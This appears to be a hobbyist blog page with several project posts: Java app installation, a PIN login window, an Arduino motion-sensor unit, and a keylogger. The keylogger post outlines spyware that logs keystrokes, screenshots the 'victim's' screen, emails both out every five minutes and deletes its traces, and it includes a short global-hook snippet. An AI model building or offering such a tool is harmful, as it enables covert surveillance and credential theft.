Installation Instructions - Downloads

In this post I'll show you how to install this application & how configure the computer for the application. 

To run this application we must have install the JRE(Java Runtime Environment) in our computer.And we must install the correct bit version as our operating system. Please see the below video to know , how to configure our computer for this application.

Download the application

You can download the application by clicking below link.Then it will redirect to the google drive folder.From there we can download the exe file.


Please see the below video for the installation process.

And you can download the Netbean projects of the main modules which I have used in this application by below download links.

Also you can download my other Netbeans projects by clicking below links. 

And you can download the Java resources from below link.

And last by below link you can download the latest Java Runtime Environment software.

38. Basic Java Keylogger

This subject is not belongs to the speech recognition system.But I'll show you about a project which I have made.

This is a keylogger project , as you know what it does is , keep a log of every key strokes which we made in the computer & send those details to a third party by given email or any other way.

As you know it is not practical to  make a virus or a hacking gadget using Java , as we are not able to use windows system resources as like C or C++ & C#.

So how can we make a keylogger by using Java.There is one way , we can use an API which has written by C or C++ with Java to do this task.

In this case we are using a Java library called JNativeHook .By using this API we can access the system resources in Java.

Okay lets see how we can make a basic keylogger program.My idea is to send keyboard strokes + screenshots of the victims computer to a given mail address.

I'm using Netbeans IDE to make this program.And we need to import below APIs to our project(these APIs are available in download page). 

  • JNativeHook.jar
  • Mail.jar
  • Activation.jar  

The basic operation in this keylogger as below. 

  • Capture all the keyboard strokes(characters) & save those in a text file.
  • Take screenshots in every mouse clicks & save those in a folder.
  • In every 5 minutes , send all the keyboard strokes text files + all the screenshots to the given mail address.
  • After sending the mail delete all the text files & screenshots.
  • When the program starting , checking for unattended screenshots & text files.If there are some , send those to the given email address & delete those files.

Now I'll show you about every method which do the each process.

To do this , first we need to register the JNativeHook API

try {

                GlobalScreen.getInstance().addNativeKeyListener(new Keyboard());
                GlobalScreen.getInstance().addNativeMouseListener(new Keyboard());

            } catch (NativeHookException e) {


Then need to implement the keyboard key pressed method to capture the strokes.And it is like below (click the link).

Then we need to implement the method to take screenshots whenever click the mouse.And it is like below (click the link).

 Then we need to mail all the data.And it is like below(click the link)

These are the basic methods which uses in the keylogger program.You can download the keylogger project from the Download page.

Please watch below videos for more information.

In next post I'll update you about next new function which I added to the system. 


37.Authentication - Upgrade

In this post I'll show you about the upgraded authentication window.

In previous posts , the authentication window for the folder locker & the message encryption window , as like above image.But now it has upgraded into newer version as below image.

In this version , it uses only 4 digit password.Also the window appearance is same as apple's pass-code entry  window.And this version will make it easy for the password entry.

In next post I'll update you about next new function which I added to the system. 

35.Home Automation - 09

In this post I'll show you how to make the sensor unit of the home automation system.

This unit is use to switch on/off the lights of the selected places(rooms). What this unit does is , it senses the movements by the attached PIR sensors.According to those movements , it sends signals to the main control unit for the switch on/off the lights.We can attach 7 sensors to this unit.

To make this unit we will need below parts list.

  • Arduino Nano module - 1
  • NRF24L01 RF module - 1
  • PIR sensors - 7
  • Prototyping board - 1
  • Led
  • Wires
  • Soldering Iron 

I have describe about the Arduino & RF module in previous posts.Now I'll describe about the PIR sensors.

PIR Sensor (passive infrared sensor)

A PIR-based motion detector is used to sense movement of people, animals, or other objects.As per the detection it sends signals as an output.This module works with 5v power connection. 

Now I'll show you how to assemble the sensor unit.As above image we need to connect the modules.The connections should be as below.

  • Arduino Nano VIN pin to +5V power connection
  • Arduino Nano GND pin to -5V power connection
  • NRF24L01 MISO pin with Arduino Nano D12 pin
  • NRF24L01 SCK pin with Arduino Nano D13 pin
  • NRF24L01 CE pin with Arduino Nano D9 pin
  • NRF24L01 MOSI pin with  Arduino Nano D11 pin
  • NRF24L01 CSN pin with Arduino Nano D10 pin 
Then PIR sensor connections should be like , 

  • All the PIR sensor DATA pins with Arduino Nano D2 up to D8 
  • All the PIR sensor VCC pins with Arduino Nano VCC pin
  • All the PIR sensor GND pins with Arduino Nano GND pin

After we made all the connection correctly , we have to upload the Sensor_Unit.ino file to the Arduino Nano using Arduino IDE. 

In next post I'll update you about next new function which I added to the system.